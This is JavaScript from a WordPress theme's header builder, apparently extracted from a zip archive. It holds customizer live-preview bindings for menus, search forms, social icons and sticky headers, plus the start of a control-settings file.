        value.bind(function (newval) {
            createCssRule('.penci-desktop-sticky-mid .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-sticky-mid .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-sticky-bottom .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-sticky-bottom .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_section)(penci_header_desktop_sticky_wrap_width)', function (value) {
        value.bind(function (newval) {
            $('.penci_builder_sticky_header_desktop').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    // etc
    wp.customize('setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_vernav_click_parent)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                $('.pc-builder-menu.pc-dropdown-menu').removeClass('normal-click').addClass('penci-vernav-cparent');
            } else {
                $('.pc-builder-menu.pc-dropdown-menu').removeClass('penci-vernav-cparent').addClass('normal-click');
            }
        });
    });

    // search form
    wp.customize('setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder-element.pc-search-form')
                .removeClass('search-style-default search-style-text-button search-style-icon-button')
                .addClass('search-style-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder-element.pc-search-form-sidebar')
                .removeClass('search-style-default search-style-text-button search-style-icon-button')
                .addClass('search-style-' + newval);
        });
    });

    // social style
    wp.customize('setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_icon_style)', function (value) {
        value.bind(function (newval) {
            $('.header-social.penci-builder-element .inner-header-social')
                .removeClass('penci-social-simple penci-social-square penci-social-circle')
                .addClass('penci-social-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_icon_color)', function (value) {
        value.bind(function (newval) {
            $('.header-social.penci-builder-element .inner-header-social')
                .removeClass('penci-social-textaccent penci-social-textcolored penci-social-colored')
                .addClass('penci-social-' + newval);
        });
    });

    // mobile social style
    wp.customize('setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_icon_style)', function (value) {
        value.bind(function (newval) {
            $('.header-social.mobile-social .inner-header-social')
                .removeClass('penci-social-simple penci-social-square penci-social-circle')
                .addClass('penci-social-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_icon_color)', function (value) {
        value.bind(function (newval) {
            $('.header-social.mobile-social .inner-header-social')
                .removeClass('penci-social-textaccent penci-social-textcolored penci-social-colored')
                .addClass('penci-social-' + newval);
        });
    });

    // menu style
    wp.customize('setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_style)', function (value) {
        value.bind(function (newval) {
            $('.pc-builder-element.pc-main-menu nav')
                .removeClass('menu-style-1 menu-style-2')
                .addClass(newval);
        });
    });

    wp.customize('setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_header_enable_padding)', function (value) {
        value.bind(function (newval) {
            if ('disable' === newval) {
                $('.pc-builder-element.pc-main-menu nav')
                    .removeClass('menu-item-padding')
                    .addClass('menu-item-normal');
            } else {
                $('.pc-builder-element.pc-main-menu nav')
                    .removeClass('menu-item-normal')
                    .addClass('menu-item-padding');
            }
        });
    });

    wp.customize('setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_style)', function (value) {
        value.bind(function (newval) {
            $('.pc-builder-element.pc-second-menu nav')
                .removeClass('menu-style-1 menu-style-2')
                .addClass(newval);
        });
    });

    wp.customize('setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_header_enable_padding)', function (value) {
        value.bind(function (newval) {
            if ('disable' === newval) {
                $('.pc-builder-element.pc-second-menu nav')
                    .removeClass('menu-item-padding')
                    .addClass('menu-item-normal');
            } else {
                $('.pc-builder-element.pc-second-menu nav')
                    .removeClass('menu-item-normal')
                    .addClass('menu-item-padding');
            }
        });
    });

    wp.customize('setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_style)', function (value) {
        value.bind(function (newval) {
            $('.pc-builder-element.pc-third-menu nav')
                .removeClass('menu-style-1 menu-style-2')
                .addClass(newval);
        });
    });

    wp.customize('setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_header_enable_padding)', function (value) {
        value.bind(function (newval) {
            if ('disable' === newval) {
                $('.pc-builder-element.pc-third-menu nav')
                    .removeClass('menu-item-padding')
                    .addClass('menu-item-normal');
            } else {
                $('.pc-builder-element.pc-third-menu nav')
                    .removeClass('menu-item-normal')
                    .addClass('menu-item-padding');
            }
        });
    });

    wp.customize('setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_post_titles_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                $('.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title')
                    .removeClass('penci-enable-uppercase')
                    .addClass('penci-disable-uppercase');
            } else {
                $('.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title')
                    .addClass('penci-enable-uppercase')
                    .removeClass('penci-disable-uppercase');
            }
        });
    });

    wp.customize('setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_disable_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                $('.penci-builder-element.penci-topbar-trending .headline-title')
                    .removeClass('penci-enable-uppercase')
                    .addClass('penci-disable-uppercase');
            } else {
                $('.penci-builder-element.penci-topbar-trending .headline-title')
                    .addClass('penci-enable-uppercase')
                    .removeClass('penci-disable-uppercase');
            }
        });
    });

    wp.customize('setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_text_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                $('.penci-topbar-social .pclogin-item')
                    .addClass('penci-enable-uppercase')
                    .removeClass('penci-disable-uppercase');
            } else {
                $('.penci-topbar-social .pclogin-item')
                    .removeClass('penci-enable-uppercase')
                    .addClass('penci-disable-uppercase');
            }
        });
    });

    wp.customize('setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_menu_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                $('.pc-builder-menu.pc-dropdown-menu .menu li a')
                    .removeClass('penci-enable-uppercase')
                    .addClass('penci-disable-uppercase');
            } else {
                $('.pc-builder-menu.pc-dropdown-menu .menu li a')
                    .addClass('penci-enable-uppercase')
                    .removeClass('penci-disable-uppercase');
            }
        });
    });

    var $center_row = {
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_middle_column)': '.penci-desktop-topbar',
        'setting(penci_header_midbar_setting_section)(penci_header_middlebar_middle_column)': '.penci-desktop-midbar',
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_middle_column)': '.penci-desktop-bottombar',
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_middle_column)': '.penci-desktop-sticky-top',
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_middle_column)': '.penci-desktop-sticky-mid',
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_middle_column)': '.penci-desktop-sticky-bottom',
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_middle_column)': '.penci-mobile-topbar',
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_middle_column)': '.penci-mobile-midbar',
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_middle_column)': '.penci-mobile-bottombar',
    }

    $.each($center_row, function ($setting, $selector) {
        wp.customize($setting, function (value) {
            value.bind(function (newval) {
                if ('enable' === newval) {
                    $($selector)
                        .removeClass('pcmiddle-normal')
                        .addClass('pcmiddle-center');
                } else {
                    $($selector)
                        .removeClass('pcmiddle-center')
                        .addClass('pcmiddle-normal');
                }
            });
        });
    });

    $.each($color_css, function ($settings_name, $selector) {
        wp.customize($settings_name, function (value) {
            value.bind(function (newval) {

                if (newval.length === 0) {
                    newval = 'initial';
                }

                if (typeof $selector === 'string') {

                    var childsector = $selector.split(",");
                    $.each(childsector, function ($count, $child_selector) {
                        createCssRule($child_selector, 'color:' + newval + ';');
                    });

                } else {
                    $.each($selector, function ($prop, $child_sec) {
                        if ($prop === 'font-family') {
                            newval = loading_font_name(newval);
                            loading_font_css(newval);
                        }
                        if ($prop === 'background-image') {
                            newval = 'url("' + newval + '")';
                        }

                        var childsector = $child_sec.split(",");
                        $.each(childsector, function ($count, $child_selector) {

                            var $prop_check = false;
                            if ($prop === 'font-weight') {
                                $prop_check = true;
                            }

                            newval = $.isNumeric(newval) && !$prop_check ? newval + 'px' : newval;
                            createCssRule($child_selector, $prop + ':' + newval + ';');
                        });

                    });
                }
            });
        });
    });

    var $hover_state = {
        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_hv_color)': '.pc-header-element.pc-login-register a:hover',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_hv_color)': '.pc-builder-element.pc-main-menu .navigation .menu > li > a:hover',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_submenu_hv_color)': '.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu a:hover',
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_color)': {
            'color': '.pc-builder-element.navigation.mobile-menu .button-menu-mobile',
            'fill': '.pc-builder-element.navigation.mobile-menu .button-menu-mobile svg',
        },
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_hv_color)': {
            'color': '.pc-builder-element.navigation.mobile-menu .button-menu-mobile:hover',
            'fill': '.pc-builder-element.navigation.mobile-menu .button-menu-mobile:hover svg',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_bg_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-item > a'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_hv_color)': '.pc-builder-element.pc-second-menu .navigation .menu > li > a:hover',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_submenu_hv_color)': '.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu a:hover',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_bg_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-item > a'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_hv_color)': '.pc-builder-element.pc-third-menu .navigation .menu > li > a:hover',

        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_submenu_hv_color)': '.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu a:hover',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_bg_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-item > a'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btn_hv_color)': {
            'background-color': '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit:hover'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btnhtxt_color)': {
            'color': '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit:hover'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btn_hv_color)': {
            'background-color': '.penci-builder-element.pc-search-form-sidebar.search-style-icon-button .searchsubmit:hover,.penci-builder-element.pc-search-form-sidebar.search-style-text-button .searchsubmit:hover'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btnhtxt_color)': {
            'color': '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .searchsubmit:hover'
        },
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_bg_hv_color)': {
            'background-color': '.penci-builder-element .inner-header-social a:hover i',
        },
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_border_hv_color)': {
            'border-color': '.penci-builder-element .inner-header-social a:hover i',
        },
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_hv_color)': {
            'color': '.penci-builder-element .inner-header-social a:hover,.penci-builder-element .inner-header-social a:hover i',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_hv_color)': {
            'background-color': '.pc-builder-element a.penci-menuhbg-toggle:hover .lines-button:after, .pc-builder-element a.penci-menuhbg-toggle.builder:hover .penci-lines:before,.pc-builder-element a.penci-menuhbg-toggle.builder:hover .penci-lines:after',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_bcolor)': {
            'border-color': '.pc-builder-element a.penci-menuhbg-toggle',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_bhcolor)': {
            'border-color': '.pc-builder-element a.penci-menuhbg-toggle:hover',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_bgcolor)': {
            'background-color': '.pc-builder-element a.penci-menuhbg-toggle',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_bghcolor)': {
            'background-color': '.pc-builder-element a.penci-menuhbg-toggle:hover',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_btnbstyle)': {
            'border-style': '.pc-builder-element a.penci-menuhbg-toggle',
        },
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_bg_hv_color)': {
            'background-color': '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover',
        },
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_border_hv_color)': {
            'border-color': '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover',
        },
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_hv_color)': {
            'color': '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover,.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover i',
        },
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_menu_hv_color)': '.pc-builder-menu.pc-dropdown-menu .menu li a:hover,.pc-builder-menu.pc-dropdown-menu .menu > li.current_page_item > a',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_accent_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_accent_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_accent_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_line_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > ul > li > a:before'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_line_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > ul > li > a:before'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_line_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > ul > li > a:before'
        },
    }

    $.each($hover_state, function ($settings_name, $selector) {
        wp.customize($settings_name, function (value) {
            value.bind(function (newval) {

                if (newval.length === 0) {
                    newval = 'initial';
                }

                if (typeof $selector === 'string') {

                    var childsector = $selector.split(",");
                    $.each(childsector, function ($count, $child_selector) {
                        createCssRule($child_selector, 'color:' + newval + ';');
                    });

                } else {
                    $.each($selector, function ($prop, $child_sec) {
                        if ($prop === 'font-family') {
                            newval = loading_font_name(newval);
                            loading_font_css(newval);
                        }
                        if ($prop === 'background-image') {
                            newval = 'url("' + newval + '")';
                        }


                        var childsector = $child_sec.split(",");
                        $.each(childsector, function ($count, $child_selector) {
                            newval = $.isNumeric(newval) && $child_selector !== 'font-height' ? newval + 'px' : newval;
                            createCssRule($child_selector, $prop + ':' + newval + ';');
                        });

                    });
                }
            });
        });
    });


    function loading_font_name(value) {
        var values = value.split(",");
        return values[0];
    }

    function loading_font_css(value) {
        value = value.replace('"', '').replace('"', ':300,400,500,600,700,900:latin,greek');
        WebFont.load({
            google: {
                families: [value]
            }
        });
    }

    function spacing_elements(value, elector) {
        var values = value.replaceAll(" ", "");
        values = values.split(",");
        if (values[0] !== "-" && values[0]) {
            createCssRule(elector, 'margin-top:' + values[0] + 'px;');
        }
        if (values[1] !== "-" && values[1]) {
            createCssRule(elector, 'margin-right:' + values[1] + 'px;');
        }
        if (values[2] !== "-" && values[2]) {
            createCssRule(elector, 'margin-bottom:' + values[2] + 'px;');
        }
        if (values[3] !== "-" && values[3]) {
            createCssRule(elector, 'margin-left:' + values[3] + 'px;');
        }

        if (values[4] !== "-" && values[4]) {
            createCssRule(elector, 'padding-top:' + values[4] + 'px;');
        }
        if (values[5] !== "-" && values[5]) {
            createCssRule(elector, 'padding-right:' + values[5] + 'px;');
        }
        if (values[6] !== "-" && values[6]) {
            createCssRule(elector, 'padding-bottom:' + values[6] + 'px;');
        }
        if (values[7] !== "-" && values[7]) {
            createCssRule(elector, 'padding-left:' + values[7] + 'px;');
        }

        if (values[8] !== "-" && values[8]) {
            createCssRule(elector, 'border-top-width:' + values[8] + 'px;');
        }
        if (values[9] !== "-" && values[9]) {
            createCssRule(elector, 'border-right-width:' + values[9] + 'px;');
        }
        if (values[10] !== "-" && values[10]) {
            createCssRule(elector, 'border-bottom-width:' + values[10] + 'px;');
        }
        if (values[11] !== "-" && values[11]) {
            createCssRule(elector, 'border-left-width:' + values[11] + 'px;');
        }

        if (values[12] !== "-" && values[12]) {
            createCssRule(elector, 'border-top-left-radius:' + values[12] + 'px;');
        }
        if (values[13] !== "-" && values[13]) {
            createCssRule(elector, 'border-top-right-radius:' + values[13] + 'px;');
        }
        if (values[14] !== "-" && values[14]) {
            createCssRule(elector, 'border-bottom-right-radius:' + values[14] + 'px;');
        }
        if (values[15] !== "-" && values[15]) {
            createCssRule(elector, 'border-bottom-left-radius:' + values[15] + 'px;');
        }
    }

    function createCssRule(selector, rule, doc) {
        var style = document.createElement('style');
        document.head.appendChild(style);
        style.sheet.insertRule(selector + ' {' + rule + '}');
    }

})(jQuery, wp.customize);

/**
 * Custom JavaScript functions for the customizer preview.
 *
 * @version 1.0.0
 *
 * @package Photographus
 */
(function ($) {
    var PENCI = PENCI || {};
    PENCI.sticky_header = function () {
        var headersticky = $('.penci_header.penci_builder_sticky_header_desktop'),
            headernormal = $('.penci_header.penci-header-builder.main-builder-header').outerHeight(),
            headermobile = $('.penci_navbar_mobile'),
            lastScrollTop = 0;

        $(window).scroll(function () {
            var st = $(this).scrollTop();

            if (st > headernormal) {
                $(headersticky).addClass('sticky-apply');
            } else {
                $(headersticky).removeClass('sticky-apply');
            }

            if (st > headermobile.outerHeight()) {
                $(headermobile).addClass('mobile-sticky');
            } else {
                $(headermobile).removeClass('mobile-sticky');
            }

            if (st > lastScrollTop) {
                $(headersticky).addClass('scrolldown').removeClass('scrollup');
                $(headermobile).addClass('scrolldown').removeClass('scrollup');
            } else {
                $(headersticky).addClass('scrollup').removeClass('scrolldown');
                $(headermobile).addClass('scrollup').removeClass('scrolldown');
            }
            lastScrollTop = st;
        });
    }

    PENCI.main_menu = function () {
        $('.navigation ul.menu > li.penci-mega-menu').on('mouseenter', function () {
            var $this = $(this),
                $row_active = $this.find('.row-active'),
                $rowsLazy = $row_active.find('.penci-lazy');
            $row_active.fadeIn('200').css('display', 'inline-block');
        });

        $('.navigation .penci-mega-child-categories a').on('mouseenter', function () {
            if ( $( this ).hasClass( 'mega-normal-child' ) ) {
                return
            }
            if (!$(this).hasClass('cat-active')) {
                var $this = $(this),
                    $row_active = $this.data('id'),
                    $parentA = $this.parent().children('a'),
                    $parent = $this.closest('.penci-megamenu'),
                    $rows = $this.closest('.penci-megamenu').find('.penci-mega-latest-posts').children('.penci-mega-row'),
                    $rowsLazy = $rows.find('.penci-lazy');
                $parentA.removeClass('cat-active');
                $this.addClass('cat-active');
                $rows.hide();
                $rows.removeClass('row-active');
                $parent.find('.' + $row_active).fadeIn('300').css('display', 'inline-block').addClass('row-active');
            }
        });
    }

    PENCI.mobile_menu = function () {
        // Add indicator
        $('.penci-menu-hbg.penci-builder-mobile-sidebar-nav .menu li.menu-item-has-children > a').append('<u class="indicator"><i class="fa fa-angle-down"></i></u>');

        // Toggle menu when click show/hide menu
        $('.navigation .button-menu-mobile').on('click', function () {
            $('body').addClass('open-mobile-builder-sidebar-nav');
        });

        $('.pc-builder-element nav.penci-vernav-cparent li.menu-item-has-children > a').on('click', function (e) {
            var $this = $(this);
            e.preventDefault();
            $this.children().children().toggleClass('fa-angle-up');
            $this.next().slideToggle('fast');
        });

        // Close sidebar nav
        $('#close-sidebar-nav').on('click', function () {
            $('body').removeClass('open-sidebar-nav');
        });

        $('.close-mobile-menu-builder').on('click', function () {
            $('body').removeClass('open-mobile-builder-sidebar-nav');
        });
    }

    PENCI.general = function () {
        $('.pcheader-icon a.search-click').on('click', function (e) {
            var $this = $(this),
                $closet = $this.closest('.wrapper-boxed'),
                $pbcloset = $this.closest('.penci_nav_col');
            if ($closet.hasClass('header-search-style-showup')) {
                $this.next().toggleClass('active');
            } else {
                $this.next().fadeToggle();
            }
            var opentimeout = setTimeout(function () {
                $closet.find('.search-input').focus();
                if ($pbcloset.length) {
                    $pbcloset.find('.search-input').focus();
                }
            }, 200, function () {
                clearTimeout(opentimeout);
            });
            e.stopPropagation();
            return false;
        });

        $('.pcheader-icon .close-search').off().on('click', function (e) {
            $(this).closest('.show-search').fadeToggle();
            return false;
        });
    }

    document.addEventListener('DOMContentLoaded', function () {
        var hasSelectiveRefresh = (
            'undefined' !== typeof wp &&
            wp.customize &&
            wp.customize.selectiveRefresh &&
            wp.customize.widgetsPreview &&
            wp.customize.widgetsPreview.WidgetPartial
        );
        if (hasSelectiveRefresh) {
            wp.customize.selectiveRefresh.bind('partial-content-rendered', function (placement) {
                PENCI.sticky_header();
                PENCI.mobile_menu();
                PENCI.main_menu();
                PENCI.general();
                $( 'body' ).trigger( 'el_featured_slider');
            });
            wp.customize.selectiveRefresh.bind('render-partials-response', function (placement) {
                PENCI.sticky_header();
                PENCI.mobile_menu();
                PENCI.main_menu();
                PENCI.general();
                $( 'body' ).trigger( 'el_featured_slider');
            });
            wp.customize.selectiveRefresh.bind('partial-content-moved', function (placement) {
                PENCI.sticky_header();
                PENCI.mobile_menu();
                PENCI.main_menu();
                PENCI.general();
                $( 'body' ).trigger( 'el_featured_slider');
            });
        }
    });
})(jQuery);
PK     /w\c݌    %  builder/assets/js/control-settings.jsnu [        function PenciSetSettingValue(control, value) {
    "use strict";

    var api = wp.customize,
        $ = jQuery;

    /**
     * Get the control of the sub-setting.
     * This will be used to get properties we need from that control,
     * and determine if we need to do any further work based on those.
     */
    var subControl = api.control(control);

    if (typeof subControl === 'undefined')
        throw "Control : " + control + " not found";

    var setting = subControl.setting,
        container = $(subControl.container),
        $select,
        selectize,
        controlType,
        alphaColorControl,
        typographyColor;

    /**
     * Get the control-type of this sub-setting.
     * We want the value to live-update on the controls themselves,
     * so depending on the control's type we'll need to do different things.
     */
    controlType = subControl.params.type;

    /**
     * Below we're starting to check the control tyype and depending on what that is,
     * make the necessary adjustments to it.
     */

    console.log(controlType);

    if ('penci-toggle' === controlType) {

        if (1 === value || '1' === value || true === value) {

            // Update the value visually in the control
            container.find('input').prop('checked', true);

            // Update the value in the customizer object
            setting.set(true);

        } else {

            // Update the value visually in the control
            container.find('input').prop('checked', false);

            // Update the value in the customizer object
            setting.set(false);

        }

    } else if ('penci-select' === controlType || 'penci-preset' === controlType) {

        // Update the value visually in the control
        $select = container.find('select').selectize();

        selectize = $select[0].selectize;

        selectize.setValue(value, true);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('penci-slider' === controlType) {

        // Update the value visually in the control (slider)
        container.find('input').prop('value', value);

        // Update the value visually in the control (number)
        container.find('.kirki_range_value .value').html(value);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('penci-generic' === controlType && undefined !== subControl.choices && undefined !== subControl.choices.element && 'textarea' === subControl.choices.element) {

        // Update the value visually in the control
        container.find('textarea').prop('value', value);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('penci-color' === controlType) {

        alphaColorControl = container.find('.penci-color-control');

        alphaColorControl.val(value).trigger('change');

        setting.set(value);

    } else if ('penci-multicheck' === controlType) {

        // Update the value in the customizer object
        setting.set(value);

        /**
         * Update the value visually in the control.
         * This value is an array so we'll have to go through each one of the items
         * in order to properly apply the value and check each checkbox separately.
         *
         * First we uncheck ALL checkboxes in the control
         * Then we check the ones that we want.
         */
        container.find('input').each(function () {
            $(this).prop('checked', false);
        });

        _.each(value, function (subValue, i) {
            container.find('input[value="' + value[i] + '"]').prop('checked', true);
        });

    } else if ('penci-radio-buttonset' === controlType || 'penci-radio-image' === controlType || 'penci-radio' === controlType || 'penci-dashicons' === controlType || 'penci-color-palette' === controlType || 'penci-palette' === controlType) {

        // Update the value visually in the control
        container.find('input[value="' + value + '"]').prop('checked', true);

        // Update the value in the customizer object
        setting.set(value);

    } else if ('penci-typography' === controlType) {

        if (undefined !== value['font-family']) {

            $select = $(container.find('.font-family select')).selectize();

